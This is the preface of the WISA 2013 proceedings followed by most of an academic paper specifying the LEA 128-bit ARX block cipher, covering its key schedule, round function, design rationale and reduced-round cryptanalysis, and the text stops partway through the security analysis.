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Preface

WISA 2013, the 14th International Workshop on Information Security Applications, was
held during August 19–21 in the Ocean Suites Jeju Hotel, Jeju Island, Republic of Korea.
The conference was hosted by the Korea Institute of Information Security and Cryp-
tology (KIISC) and sponsored by the Ministry of Science, ICT and Future Planning
(MSIP). It was also co-sponsored by the National Security Research Institute (NSRI), the
Korea Internet Security Agency (KISA), and the Security Global Alliance (SGA).

We received 39 valid submissions from 16 countries, of which 15 were accepted
for the full-paper track and two for the short abstract track. These proceedings contain
the revised versions of the 15 full papers and two short papers. Every paper received at
least three independent reviews. For the Best Paper Award, the Program Committee
(PC) selected ‘‘Dynamic Surveillance: A Case Study with Enron Email Data Set’’ by
Heesung Do, Byung Choi, and Heejo Lee. Moreover, ‘‘Bifocals: Analyzing WebView
Vulnerabilities in Android Applications’’ by Erika Chin, and David Wagner received
the Best White Hat Award. The Best SoK Paper Award was given to ‘‘SoK: Lessons
Learned From SSL/TLS Attack’’ by Christopher Meyer, and Jorg Schwenk.

There were five invited talks, Kyoungsoo Park delivered ‘‘Building High-Perfor-
mance Networked Security Systems on Low-Cost Commodity Hardware,’’ and
Wenyuan Xu spoke on ‘‘Tire Pressure Sensor vs. Utility Meters: From Good Intention
to Vulnerabilities’’ on August 19. In addition, Seungwon Shin presented ‘‘Redesigning
Network Security Applications with Software Defined Networking,’’ and Jeonghyun
Yi delivered ‘‘Deobfuscating Dexguard-Bytecode Obfuscator on Android’’ on August
20. Moreover, on August 21, Brent Kang spoke on ‘‘HW-Assisted Kernel Security
Monitoring.’’ We also had one keynote speech: Adrian Perrig delivered ‘‘Accountable
Key Infrastructure (AKI): A Proposal for a Public-Key Validation Infrastructure.’’
Excellent invited speeches along with a keynote speech as well as 17 regular and short
paper presentations made a lof of participants stay until the last minute of the
workshop. We thank all for their participation.

We would like to thank the authors of all submissions, regardless of whether their
papers were accepted or not. Their work made this conference possible. We are
extremely grateful to the PC members for their enormous investment of time and
effort in the difficult and delicate process of review and selection. We would like to
thank Jin Kwak, who was the organizing chair in charge of the local organization and
finances. Special thanks go to Sungjae Hwang for providing and setting up the review
software. We are most grateful to Donghoon Lee and Moti Yung, the WISA 2012
program chairs, for their timely information and replies to the host of questions we
posed during the process.

August 2013 Yongdae Kim
Heejo Lee

Adrian Perrig
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LEA: A 128-Bit Block Cipher for Fast
Encryption on Common Processors

Deukjo Hong1(B), Jung-Keun Lee1, Dong-Chan Kim1, Daesung Kwon1,
Kwon Ho Ryu1, and Dong-Geon Lee2

1 Attached Institute of ETRI, Seoul, Korea
{hongdj,jklee,dongchan,ds kwon,jude}@ensec.re.kr

2 Information Security & IoT Laboratory, Pusan National University,
Busan, South Korea
guneez@pusan.ac.kr

Abstract. We propose a new block cipher LEA, which has 128-bit block
size and 128, 192, or 256-bit key size. It provides a high-speed software
encryption on general-purpose processors. Our experiments show that
LEA is faster than AES on Intel, AMD, ARM, and ColdFire platforms.
LEA can be also implemented to have tiny code size. Its hardware imple-
mentation has a competitive throughput per area. It is secure against all
the existing attacks on block ciphers.

Keywords: LEA · Block cipher · Fast encryption

1 Introduction

CPUs and operating systems are continuously developing, and many comput-
ing devices work much better than before, with such powerful resources. For
example, smart portable devices like smart phones and tablet PCs do not only
replace mobile phones but also allow to enjoy various cloud computing and
social network services. With those applications, the amount of the private data
which people create for their business and life will be significantly increasing.
Another example is a smart meter, which is a basic unit of an advanced metering
infrastructure in a smart grid, recording consumption of electric energy, gather-
ing data for remote reporting, and communicating with the utility for monitoring
and billing purpose. For the convenience of management, smart meters are often
implemented to perform tasks in software with small CPUs [18].

Those data mentioned in the above examples are usually important informa-
tion which must be protected from various threats in networks. It implies that
the wide use of software applications significantly causes the necessity of cryp-
tographic systems on software platforms. With this consideration, we have been
interested in a software encryption. Software encryptions are easier to deploy
and more cost-effective than hardware ones in many cases. In particular, when a
new encryption service is required for already deployed computing environments,
a software encryption is more suitable than a hardware one.

Y. Kim et al. (Eds.): WISA 2013, LNCS 8267, pp. 3–27, 2014.
DOI: 10.1007/978-3-319-05149-9 1, c© Springer International Publishing Switzerland 2014
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A block cipher is one of the most widely used cryptographic primitives. It
is applied to data encryption, message authentication, random bit generation,
message hashing and so on. Presumably, the most widely used block cipher in
the world is AES [27] which has been established as various international stan-
dards. AES shows good performance figures on most software and hardware
platforms and is generally considered to be secure after surviving about 15 years
of comprehensive cryptanalysis though some weaknesses have been found. Since
AES, many block ciphers have been designed for hardware lightweight imple-
mentation. Some of them were standardized as ISO lightweight cryptography
(ISO/IEC 29192-2). The main feature of the lightweight block ciphers is the effi-
cient hardware implementation with low resource. In order to achieve that goal,
most of them use simple structures with small block sizes and large number
of rounds. However, those design approaches usually lead to low performance,
and is far from our consideration for software encryption. Consequently, we have
designed a new block cipher providing a fast encryption on common software
platforms.

1.1 Contribution

We propose a new block cipher LEA. It has the block size of 128 bits and the key
size of 128, 192, or 256 bits. We denote the algorithms with 128-bit, 192-bit, and
256-bit keys by LEA-128, LEA-192, and LEA-256, respectively. The structure
of LEA has the following features.

1. LEA consists of only ARX (modular Addition, bitwise Rotation, and bitwise
XOR) operations for 32-bit words. Those operations are well-supported and
fast in many 32-bit and 64-bit platforms. Moreover, we suppose that the usage
of 32-bit and 64-bit processors will grow rapidly compared to 8-bit or 16-bit
ones.

2. The ARX operations contribute to the encryption and key schedule proce-
dures in efficient and parallel way. Our arrangement of operations does not
only lead to fast software encryption and small size code, but also strong
resistance against the attacks using the properties of a particular operation.

3. The last round function of LEA is the same as other round functions, while
many block cipher including DES and AES have special last round functions
which are somewhat different from other round functions. This is for the
encryption speed in both software and hardware because we think the block
cipher encryption is more frequently used than decryption.

4. The key schedule of LEA has a simple structure without any interleaving
between 32-bit key words. It is good for the efficiency, and does not cause
any weakness.

Security. Our goal for the security of LEA is to get the resistance against all
the existing attacks for block ciphers and to provide enough security margin. To
achieve this goal, we firstly found the minimum number R of rounds for LEA to
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resist against all the known cryptanalytic techniques for each key size. Then we
determined the number of rounds of LEA as around 3R/2 to prepare for the
unknown attacks to appear in future.

Efficiency. LEA provides a fast encryption on many platforms. Our experiments
measuring the speed for one-block encryption on the platforms of Intel, AMD,
ARM and ColdFire show that even a C level implementation of LEA is very
fast. It implies that the evaluation of LEA encryption requires the light overhead
to CPUs. Note that the light overhead can lead to the low power consumption
which is useful for the devices based on batteries. The optimized implementation
of LEA-128 for one-block encryption is faster than those of AES-128 publicly
reported [25,47], on our test platforms. To objectivity, we used the announced
facts for comparison instead of implementing AES.

LEA can be implemented with SIMD operations supported by Intel and
AMD CPUs such that it encrypts 4 blocks simultaneously. It is useful for the
highly fast encryption with ECB or CTR modes under a powerful environment
like a server-based computing. Our experiments on Intel Core 2 Quad Q6600
and Intel Core i7-800 show that the speed of the 4-block SIMD implementation
of LEA-128 is about 2 times and 1.7 times faster than the best records of the
multi-block encryption codes of AES-128 [35], respectively.

We also found that LEA is implemented with a small code-size. The small-size
implementation is useful in a memory-limited environment. LEA-128 is imple-
mented with less than 600 and 750 bytes on the platforms of ARM926EJ-S and
ColdFire MCF5213, respectively, while AES-128 is known to be implemented
with around 2,400 and 960 bytes on the platforms of ARM7TDMI and ColdFire
v2, respectively.

Comparison with Other Ciphers. We compare LEA to other ciphers in order to
explain why it is meaningful to propose this new block cipher.

– AES. AES was designed based on design and analysis techniques by 2000,
and cryptanalysis of block ciphers has been continuously researched and devel-
oped. Recent several attacks have pointed out some weaknesses for AES. In
[11], Biryukov et al. presented a chosen-key distinguisher for full 14-round
AES-256 and converted it to a key-recovery attack for a weak key class with
the complexities of 2131 time and 265 memory. In [10], Biryukov and Khovra-
tovich presented related-key boomerang attacks on full 14-round AES-256
with 299.5 time and data complexities and AES-192 with 2176 time and 2123

data complexities. In [14], Bogdanov et al. used biclique techniques to make
key recovery attacks on full AES-128, AES-192, and AES-256 with time com-
plexities 2126.1, 2189.7, and 2254.4, respectively. LEA is designed based on the
latest design and analysis techniques and we checked that LEA is secure and
has sufficient security margin against all the existing attacks.

Furthermore, as we already mentioned, LEA provides better software
encryptions in speed and size on many platforms than AES.
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– Block ciphers with ARX structure. TEA [56] and XTEA [46] are Feistel
block ciphers with simple round function and key schedule. Their encryption
speeds are not fast because they have the block length of 64 bits shorter than
LEA and 64 rounds more than LEA. Additionally, there are full-round attacks
[37,58] on TEA and XXTEA [57], which is the third algorithm of TEA family.

At the AES competition, RC6 [49] was regarded as faster than Rijndael [21],
which is the AES winner, on many software platforms. However, parallelism
offered by modern CPUs is not exploited well with RC6, and the performance
of recent implementation of AES exceeds that of RC6.

HIGHT [31] is a lightweight block cipher based on 8-bit ARX operations.
So, it is not suitable for fast encryption on 32-bit CPUs. Recently, full-round
attacks on HIGHT have been published [32,41].

Hash functions often adopt the ARX structure for the high performance on
various platforms, similarly to our design goal [2,26]. Most of them have block
ciphers as a component for building compression and hash functions. They
are even secure against attacks for block ciphers. However, hash functions and
block ciphers are different in the usage. In particular, most block ciphers in
the hash functions have much larger block and key sizes than those usually
required for the security and application of block ciphers.

Recently, NSA published two block cipher families SPECK and SIMON
[3]. SPECK is a typical ARX cipher and SIMON consists of ANDs, rotations,
and XORs. They have various parameters. The algorithms with 128-bit block
are comparable with LEA. The Performance of LEA is faster than SIMON
in both 32- and 64-bit processors. Since SPECK uses 64-bit addition with
128-bit block, its performance exceeds that of LEA only in 64-bit processors
but LEA is more suitable for most 32-bit processors.

– Lightweight block ciphers. Many lightweight block ciphers like HIGHT
[31], PRESENT [13], LED [30], and Piccolo [51] have short block size and
large number of rounds and their software encryptions are usually not fast.
Although [43] provides fast bitslice implementation of PRESENT and Piccolo,
SIMD implementation of LEA is faster than them. Furthermore, a short block
size is not proper for encrypting huge data because some modes of operation
can allow security leakage like a ciphertext-matching attack.

KLEIN [28] is designed to be faster than AES on 8-bit and 16-bit platforms,
while our targets are 32-bit and 64-bit platforms. CLEFIA [52] has the same
block and key size as AES and the performance of its software encryption
is close to that of AES on AMD Athlon TM Processor 4000+. However, as
far as we know, it does not claim higher software performance than AES.
Recently, PRINCE [16] was proposed as a low-latency block cipher which has
good performance in software and hardware implementations, but its security
goal is somewhat different from that for the general-purpose block ciphers.

– Stream ciphers. Several stream ciphers such as Salsa20 [4] are based on
ARX operations, but we think the block cipher is not totally comparable to
the stream cipher because they do not always have the same applications.
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1.2 Organization

The remaining part is organized as follows. Section 2 describes the specification of
LEA. In Sect. 3, we introduce design principles. In Sect. 4, we present the security
analysis results for existing cryptanalytic techniques. In Sect. 5, we explain the
implementation results. Section 6 is the conclusion of our paper.

2 Specification of LEA

LEA is a block cipher with 128-bit block. Key size is 128-bit, 192-bit, and 256-
bit. The number of rounds is 24 for 128-bit keys, 28 for 192-bit keys, and 32 for
256-bit keys. In Sect. 2.1, we introduce notations which are often used in this
paper. We explain how the key schedule generates round keys from the master
key in Sect. 2.3. We explain how the encryption procedure converts a plaintext
to a ciphertext in Sect. 2.4. We omit the description of the decryption procedure
because it is simply considered as the inverse of the encryption procedure.

2.1 Notations

– P : a 128-bit plaintext, consisting of four 32-bit words P = (P [0], P [1], P [2],
P [3])

– C: a 128-bit ciphertext, consisting of four 32-bit words C = (C[0], C[1], C[2],
C[3])

– Xi: a 128-bit intermediate value (an input of i-th round in the encryption
function), consisting of four 32-bit words Xi = (Xi[0],Xi[1],Xi[2],Xi[3])

– Len(x): the bit-length of a string x
– K: a master key. It is denoted as a concatenation of 32-bit words. K =

(K[0],K[1],K[2],K[3]) when Len(K) = 128; K = (K[0],K[1], ...,K[5]) when
Len(K) = 192; K = (K[0],K[1], ...,K[7]) when Len(K) = 256

– r: the number of rounds. r = 24 when Len(K) = 128; r = 28 when Len(K) =
192; r = 32 when Len(K) = 256

– RK: the concatenation of all round keys, defined by RK = (RK0, RK1,
..., RKr−1) where RKi is the 192-bit round key for the i-th round. Each
RKi consists of six 32-bit words RKi = (RKi[0], RKi[1], ..., RKi[5])

– x ⊕ y: XOR (eXclusive OR) of bit strings x and y with same length
– x � y: Addition modulo 232 of 32-bit strings x and y
– ROLi(x): the i-bit left rotation on a 32-bit value x
– RORi(x): the i-bit right rotation on a 32-bit value x

2.2 State Representation

Let a[0], a[1], ..., be representation of arrays of bytes. The bytes and the bit order-
ing within bytes are derived from the 128-bit input sequence input0, input1, ...
as follows:

a[i] = {input8i, input8i+1, ..., input8i+7}.
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All the operations in the LEA algorithm are 32-bit-word-oriented. The 128-bit
plaintext P of LEA is represented as an array of four 32-bit words P [0], P [1], P [2],
P [3]. Each P [i] is taken for the input bytes a[0], a[1], ..., a[15] as follows:

P [i] = a[4i + 3]∀a[4i + 2]∀a[4i + 1]∀a[4i] for 0 ≤ i ≤ 3.

The key K of LEA is also represented as an array of 32-bit words K[0],K[1], ...,
and taken for the input bytes in the same way. Table 1 shows how bits and bytes
in the word indexed by 0 are numbered.

Table 1. Representations for words, bytes, and bits

Input bit sequence 24 · · · 31 16 · · · 23 8 · · · 15 0 · · · 7

Word number 0

Byte number 3 2 1 0

Bit numbers in word 31 · · · 0

2.3 Key Schedule

The key schedule generates a sequence of 192-bit round keys RKi as follows.

Constants. The key schedule uses several constants for generating round keys,
which are defined as

δ[0] = 0xc3efe9db, δ[1] = 0x44626b02,
δ[2] = 0x79e27c8a, δ[3] = 0x78df30ec,
δ[4] = 0x715ea49e, δ[5] = 0xc785da0a,
δ[6] = 0xe04ef22a, δ[7] = 0xe5c40957.

They are obtained from hexadecimal expression of
√

766995, where 76, 69, and
95 are ASCII codes of ‘L,’ ‘E,’ and ‘A.’

Key Schedule with a 128-Bit Key. Let K = (K[0],K[1],K[2],K[3]) be a 128-bit
key. We set T [i] = K[i] for 0 ≤ i < 4. Round key RKi = (RKi[0], RKi[1], ..., RKi

[5]) for 0 ≤ i < 24 are produced through the following relations:

T [0] ← ROL1(T [0] � ROLi(δ[i mod 4])),
T [1] ← ROL3(T [1] � ROLi+1(δ[i mod 4])),
T [2] ← ROL6(T [2] � ROLi+2(δ[i mod 4])),
T [3] ← ROL11(T [3] � ROLi+3(δ[i mod 4])),
RKi ← (T [0], T [1], T [2], T [1], T [3], T [1]).
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Key Schedule with a 192-Bit Key. Let K = (K[0],K[1], ...,K[5]) be a 192-bit key.
We set T [i] = K[i] for 0 ≤ i < 6. Round key RKi = (RKi[0], RKi[1], ..., RKi[5])
for 0 ≤ i < 28 are produced through the following relations:

T [0] ← ROL1(T [0] � ROLi(δ[i mod 6])),
T [1] ← ROL3(T [1] � ROLi+1(δ[i mod 6])),
T [2] ← ROL6(T [2] � ROLi+2(δ[i mod 6])),
T [3] ← ROL11(T [3] � ROLi+3(δ[i mod 6])),
T [4] ← ROL13(T [4] � ROLi+4(δ[i mod 6])),
T [5] ← ROL17(T [5] � ROLi+5(δ[i mod 6])),
RKi ← (T [0], T [1], T [2], T [3], T [4], T [5]).

Key Schedule with a 256-Bit Key. Let K = (K[0],K[1], ...,K[7]) be a 256-bit key.
We set T [i] = K[i] for 0 ≤ i < 8. Round key RKi = (RKi[0], RKi[1], ..., RKi[5])
for 0 ≤ i < 32 are produced through the following relations:

T [6i mod 8] ← ROL1(T [6i mod 8] � ROLi(δ[i mod 8])),
T [6i + 1 mod 8] ← ROL3(T [6i + 1 mod 8] � ROLi+1(δ[i mod 8])),
T [6i + 2 mod 8] ← ROL6(T [6i + 2 mod 8] � ROLi+2(δ[i mod 8])),
T [6i + 3 mod 8] ← ROL11(T [6i + 3 mod 8] � ROLi+3(δ[i mod 8])),
T [6i + 4 mod 8] ← ROL13(T [6i + 4 mod 8] � ROLi+4(δ[i mod 8])),
T [6i + 5 mod 8] ← ROL17(T [6i + 5 mod 8] � ROLi+5(δ[i mod 8])),

RKi ← (T [6i mod 8], T [6i + 1 mod 8], T [6i + 2 mod 8],
T [6i + 3 mod 8], T [6i + 4 mod 8], T [6i + 5 mod 8]).

2.4 Encryption Procedure

The encryption procedure of LEA consists of 24 rounds for 128-bit keys, 28
rounds for 192-bit keys, and 32 rounds for 256-bit keys. For r rounds, it encrypts
a 128-bit plaintext P = (P [0], P [1], P [2], P [3]) to a 128-bit ciphertext C =
(C[0], C[1], C[2], C[3]).

Initialization. Set the 128-bit intermediate value X0 to the plaintext P . Run the
key schedule to generate r round keys.

Iterating Rounds. The 128-bit output Xi+1 = (Xi+1[0], ...,Xi+1[3]) of the ith
round for 0 ≤ i ≤ r − 1 is computed as

Xi+1[0] ← ROL9((Xi[0] ⊕ RKi[0]) � (Xi[1] ⊕ RKi[1])),
Xi+1[1] ← ROR5((Xi[1] ⊕ RKi[2]) � (Xi[2] ⊕ RKi[3])),
Xi+1[2] ← ROR3((Xi[2] ⊕ RKi[4]) � (Xi[3] ⊕ RKi[5])),
Xi+1[3] ← Xi[0].
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Finalization. The ciphertext C is produced from the finally obtained Xr after
round iteration in the following way:

C[0] ← Xr[0], C[1] ← Xr[1], C[2] ← Xr[2], and C[3] ← Xr[3].

3 Design Principles

We explain the design principles for LEA (Fig. 1).

Xi[0] Xi[1] Xi[2] Xi[3]

Xi+1[0] Xi+1[1] Xi+1[2] Xi+1[3]

RKi[0]

ROL9 ROR5 ROR3

RKi[1]

RKi[2]

RKi[3]

RKi[4]

RKi[a]

Fig. 1. ith round function

Efficient round structure with 32-bit ARX operations. The round function of LEA
consists of ARX operations. Especially, we used 32-bit ARX operations instead
of 8-bit ones because 32-bit operations are more popular than 8-bit ones and we
think that most processors will be developed to support 32-bit operations even
in resource-constrained devices. It has just three internal computation modules
including two key XORs, one addition, and one bitwise rotation. We adopt the
addition modulo 232 as a nonlinear function with two 32-bit inputs and one 32-bit
output1. Round key XORs are used for randomizing the inputs of the nonlinear
functions, the bitwise rotations and the word-wise swap are used for diffusion.
The simple and efficient structure of LEA provides both tiny-size code and high-
speed code. In spite of its simplicity, it has nice nonlinearity and diffusion effect
to give a proper number of rounds for good performance.

Encryption is more useful than decryption. Unexpectedly, there are not many
modes of operation which need the decryption function. For example, ISO/IEC
9797-1, ISO/IEC 10116, and ISO/IEC 19772 specify 6 message authentication
1 On the other hand, round key XORs and rotations work as nonlinear functions for

the adversary using add-differences.
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modes, 5 encryption modes, and 6 authenticated-encryption modes of block
ciphers, respectively. However, only ECB, CBC, and OCB modes need both
encryption and decryption functions2. It implies that the block cipher encryp-
tion is more widely and frequently used than the block cipher decryption. With
this consideration, we did not care for the balance of the speed between encryp-
tion and decryption. Note that most block ciphers usually have the special last
round different from other rounds for efficiency in the implementation of decryp-
tion, while the last round of LEA is not special but has the same structure as
the other rounds for efficiency of the encryption-only modes. Nevertheless, the
decryption speed of LEA is still competitive with most block ciphers.

Choice of rotations. We chose the rotations in encryption procedure such that it
has the strong diffusion property. Firstly, for the parameters (a, b, c), we set the
round function with input Xi, output Xi+1, and round key RKi as follows.

Xi+1[0] ← ROLa((Xi[0] ⊕ RKi[0]) � (Xi[1] ⊕ RKi[1])),
Xi+1[1] ← ROLb((Xi[1] ⊕ RKi[2]) � (Xi[2] ⊕ RKi[3])),
Xi+1[2] ← ROLc((Xi[2] ⊕ RKi[4]) � (Xi[3] ⊕ RKi[5])),
Xi+1[3] ← Xi[0].

Then, we linearized the LEA encryption algorithm by replacing the additions
with XORs, and searched the XOR differential characteristics (XDCs) of the
linearized structure for all possible

(
32
3

)
candidates of (a, b, c). Note that ROLb =

ROR32−b and ROLc = ROR32−c. One of our searching strategies is to start from
a middle round with low Hamming weight of differences. As a result, we found
that for each candidate of (a, b, c) there exists a 11-round XDC whose probability
is not lower than 2−128. The probability is estimated under the assumption that
every addition is independent. Note that this assumption is not stronger than
any other block ciphers because each addition can be regarded as a nonlinear
function with two 32-bit inputs and a 32-bit output and because XORing subkeys
with the inputs of nonlinear functions is the most popular way to combine key
materials to encryption body. We found 32 candidates of (a, b, c) which have 12-
round XDCs with the probability of 2−128 or 2−129 as best ones. We optimized
these characteristics such that both of the first and last rounds are not linearized.
We chose (9, 27, 29) because it made only differential characteristics with the
probability 2−128 as best ones, and because the number of such characteristics
is fewer than any other candidates.

Additionally, we considered short characteristics for the boomerang attack,
and found that the maximum number of rounds having differential characteristic
with the probability greater than 2−32 is 7 over all (a, b, c), and so does it for
the case (a, b, c) = (9, 27, 29).

As a different approach for the same goal, we can also regard the linearized
rounds as a linear code. So, we tried to get good differential characteristics by
2 We leave the fifth mode, ‘Encrypt-then-MAC’ in [33] out of the discussion because

it uses general notions of encryption and MAC.



12 D. Hong et al.

applying Canteaut-Chabaud method [17] to search code words with minimum
weight code words, but we could not find better differential characteristics than
the first approach.

Simple key schedule. We adopt a very simple structure for the key schedule.
It does not mix the words of the key and has no avalanche effect in key bits
at all. Nevertheless, our security analysis show that it protects LEA from the
attacks such as slide attack [12], related-key attack [5], related-key boomerang
attack [10,11], biclique attack [14], rotational attack [38] and so on. The simplic-
ity of the key schedule provides efficiency in small-size hardware and software
implementations.

4 Security Analysis

We analyzed the security of LEA for existing cryptanalytic techniques by search-
ing, constructing, or exploiting various characteristics such as differential and lin-
ear trails. For each attack, firstly, we found the maximum number N of rounds
where there exists an available characteristic, and then constructed the best N -
round characteristic. We determined the number of rounds making the algorithm
secure against each attack, considering the difference propagation of the round
function and the arrangement of the round key words, as follows.

1. If the characteristic is N -round and holds with the probability between 0 and
1, then the secure number of rounds is N + 3 for 128-bit keys, N + 4 for
192-bit keys, and N + 5 for 256-bit keys.

2. If the characteristic is N -round and holds with the probability 0 or 1, then
the secure number of rounds is N +4 for 128-bit keys, N +5 for 192-bit keys,
and N + 6 for 256-bit keys.

COSIC made an evaluation report for LEA, too, independently of us [20]. We will
explain some of their security analysis results. The whole main analysis results
are summarized at Table 2. We also discuss other attacks not listed in Table 2.

Table 2. Security of LEA against several main attacks

Round # of Probability of Secure # of rounds
Attack type Characteristic Characteristic LEA-128 LEA-192 LEA-256

Differential [9] 11 p = 2−98 14 15 16
Truncated Differential [39] 11 p = 2−91.9 14 15 16
Linear [44] 11 |p − 1/2| = 2−62 14 15 16
Zero Correlation [15] 7 |p − 1/2| = 0 11 12 13
Boomerang [54] 14 p2q2 = 2−108 17 18 19
Impossible Differential [6] 10 p = 0 14 15 16
Integral [40] 6 p = 1 10 11 12
Differential-Linear [8] 14 |p − 1/2| < 2−57 17 18 19
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4.1 Differential Attack

As we mentioned in Sect. 3, the probability of the best 12-round differential
characteristic which we have found is estimated at most as 2−128. Since it is not
available for the attack, we searched 11-round differential characteristic with the
same way; firstly find the XOR-linearized differential characteristics with high
probabilities and then optimize it by removing the linearity in the differential
paths of the first and the last rounds. As a result, the best found ones of 11-round
differential characteristics have the probability 2−98 and the following form:

– Input difference: 80000234 α0402214 β0401205 γ0400281, where α ∈ {4, c},
β ∈ {4, c}, and γ = β ⊕ 1,

– Output difference: η800000a 88aaa00a 220202ζ0 00200050, where η ∈
{4, c} and ζ ∈ {2, 6}.

We can apply one of these characteristics to 11 rounds from Round 0 to
Round 10, and attack 12 rounds for 128-bit keys. This attack recovers 96 bits of
the round key RK11 in the last round, Round 11 with very high signal-to-noise
ratio, and requires around 2100 plaintexts, 284 encryptions, and the memory for
276 bytes. Extending it to 13-round attack is not successful because

– If one applies the 11-round characteristic to the first 11 rounds from Round
0 to Round 10 and tries to recover partial bits of RK12, the round key of
Round 12, he will be in trouble with the poor filtering and it leads to the bad
signal-to-noise ratio.

– If one applies the 11-round characteristic to Round 1 to Round 11 and tries to
recover partial bits of RK0, the round key of Round 0 and RK12, the round
key of Round 12, he will face too much guessed key bits or too weak filtering
to attack.

We consider the possibility of 13-round attack for 192-bit keys and 14-round
attack for 256-bit keys, respectively.

Using a set of many differential characteristics with relatively high probabil-
ities instead of a best one, we can increase the probability from 2−98 to 2−91.9.
This is a kind of truncated differential characteristic [39], which can be used
for reducing some of complexities for the above differential attack, but not be
helpful for increasing the number of the attacked rounds. Analyses with other
types of differences [20] have been tried but not found any critical weaknesses.

4.2 Linear Attack

A linear approximation has the following form:

ΓP · P ⊕ ΓC · C = ΓRK · RK, (1)

where RK is a vector composed of all round keys. We denote the probability
that (1) is satisfied, by p, and let ε = p−1/2. ε is called the bias of (1). A linear
attack using a linear approximation has the data complexity of O(ε−2).
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It is not easy to find a good linear approximation for long rounds of LEA.
Wallén’s work [55] shows that in the masks of a linear approximation for mod-
ular additions the absolute value of the bias tends to decrease as the highest
nonzero bit of the masks is close to the most significant. The combination of
the bitwise rotations in LEA encryption significantly disturbs the appearance of
linear approximations with good biases. We searched the linear approximations
in such a way that the propagation of linear masks is suppressed as strong as
possible. Consequently, we found 10-round linear approximation with ε = 2−46

and 11-round linear approximation with ε = 2−63. We can use Matsui’s algo-
rithm 1 and the 11-round linear approximation to get 1-bit information about
round keys for 11 rounds with O(2126) known plaintexts, and we can use Mat-
sui’s algorithm 2 and the 10-round linear approximation to make a 11-round key
recovery attack with O(292) known plaintexts.

4.3 Zero Correlation Attack

Recently, the attacks using zero correlation approximations have been intro-
duced [15], which is a counter part of the impossible differential attack in linear
cryptanalysis. The best key recovery attacks in single-key setting based on zero
correlation approximations have been made for TEA and XTEA. Since LEA
has the use of ARX operations in common with TEA and XTEA, one may
suspect the vulnerability of LEA against zero correlation attack. However, we
found that a 7-round zero correlation approximation is constructed from 3-round
forward and 4-round backward approximations, and it is difficult to construct
much longer zero correlation approximations than 7 rounds. Based on the 7-
round zero correlation approximations, we consider the possibility of 9-round
attack for 128-bit keys, 10-round attack for 192-bit keys, and 11-round attack
for 256-bit keys, respectively.

4.4 Boomerang Attack

The best differential probability for 7 rounds is 2−27. The best 7-round one has
the following differences of input and output.

– Input difference: 80000014 80400014 80400004 80400080,
– Output difference: 00001200 28000200 80800800 00000008.

We construct a 14-round boomerang characteristic from the best 7-round dif-
ferential characteristic. There are some round-skip techniques maximizing the
number of rounds of the boomerang characteristic [10,24], but they do not work
for LEA. It is the best one which we have found ever. For 128-bit keys, we can
use it to make an attack on at most 15 rounds with 2116.3 plaintexts. We could
not find a proper attack on 16 rounds due to increased data complexity and
worsened filtering. The amplified boomerang [36] or rectangle attacks [7] do not
seem to improve our attacks significantly. We consider the possibility of 16-round
attack for 192-bit keys and 17-round attack for 256-bit keys, respectively.
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4.5 Impossible Differential Attack

Impossible differential attack [6] uses differential characteristics with probability
of 0. They are usually constructed from miss-in-the-middle combination with
forward and backward truncated differential characteristics with probability of
1. For LEA, the best impossible differential characteristics are 10 rounds, con-
structed with 6-round forward and 4-round backward truncated differential char-
acteristics with probability of 1, which is reported in [20].

For 128-bit keys, we can use the 10-round impossible differential characteris-
tics to make a 11-round attack to derive a partial information of the last round
key. one may make a 12-round attack by using a set of specially chosen plaintexts
or constructing a key-recovering process. We consider the possibility of 13-round
attack for 192-bit keys, and 14-round attack for 256-bit keys, respectively.

4.6 Integral Attack

Integral attack [40] for LEA uses a 6-round integral characteristic, which is
reported at [20]. A 6-round integral characteristic of LEA is reported at [20].
It shows that if the 3-th word P [3] of the plaintext P is active, which takes
all 32-bit values for one time, and other words of P are constants, then the
least significant bit of the 1-th word X[1] of the output X after 6 rounds is
ADD-balanced. For 128-bit keys, we can use the 6-round integral characteristic
to make a 9-round attack to derive a partial information of round keys. Adding
rounds to the characteristic at top is impossible because it requires a code book
of all plaintexts. We consider the possibility of 10-round attack for 192-bit keys,
and 11-round attack for 256-bit keys, respectively. We suppose higher order dif-
ferential characteristic [39] is also constructed for 6 rounds at most.

4.7 Differential-Linear Attack

Differential-linear attack [8] uses a combined characteristic from short-round dif-
ferential characteristics and linear approximations. A (r1+r2)-round differential-
linear characteristic based on one r1-round differential characteristic with the
probability pd and two r2-round linear approximations with same masks and the
probability pl = 1/2+ε holds with the probability p = 1/2+2pdε

2. Our analysis
for differential and linear attacks on LEA implies that the available differential-
linear characteristics for LEA can be constructed up to 14 rounds and that the
biasour searching program can find 14-round differential-linear characteristics
with the bias at most 2−57. However, this reasoning is based on the best results
which we can find for differential and linear trails, and so we suppose that the
actually found differential-linear characteristics be much shorter than 14 rounds
or have the bias whose absolute value is significantly smaller than 2−57.

4.8 Attacks Using Weakness of Key Schedule

Slide attack [12] uses a self-similarity in the block cipher. The key schedule
of LEA obstructs it by adding the rotated constants to the key materials.
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For instance, when the key size is 128 bits, ROLi(δ[i mod 4]) is added for the
leftmost 32 bits of the i-th round key RKi[0]. Although only several 32-bit con-
stants are used, rotations depending on i make the effects of adding different
round constants for every round. Therefore, there is no self-similarity which can
be exploited for any attacks on LEA.

Related-key differential attack [34] and related-key boomerang attack [10,11]
is the most popular ones among the attacks using related keys [5]. In the similar
way to differential cryptanalysis, we searched how many rounds there exists a
key difference having differential characteristics with the probability > 2−128 up
to. The best related-key differential characteristics which we found ever are 11-
round one for 128-bit keys, and 12-round one for 192 and 256-bit keys. However,
those characteristics cannot be used straightforwardly for any attacks because
they hold with only small part of the key space.

Bogdanov et al. [14] has introduced the key recovery attacks in single-key set-
ting, based on biclique techniques with two attack approaches. The first approach
is to use the bicliques constructed from independent related-key differentials and
to search the right key with partial computations based on precomputation. We
checked that it is hard to construct such bicliques for more than one round of
LEA for the key sizes of 128 and 192 bits and for more than two round for the
key size of 256 bits, because LEA uses 192-bit round keys and all key materials
are wasted in one round for 128 and 192-bit keys and in two rounds for 256-bit
keys, and because all additions in the same round are active within two rounds
in backward direction for any key difference. Therefore, the time complexity
of the key recovery attacks based on the first approach would have a negligi-
ble difference with that of exhaustive search. The second approach is to use the
bicliques constructed from interleaving related-key differential trails and to apply
a basic meet-in-the-middle technique for key recovery. Such bicliques would not
be constructed for more than 8 rounds because the propagation of the difference
inserted at key is fast in the encryption of LEA in spite of its simple structure.
Furthermore, the basic meet-in-the-middle technique of the second approach is
applicable to only short rounds. So, the attack based on second approach can
work for only small reduced variants with much less rounds than recommended.

4.9 Other Attacks

Recently, some kinds of meet-in-the-middle attacks have made impressive crypt-
analytic results for block ciphers and hash functions. We checked that meet-
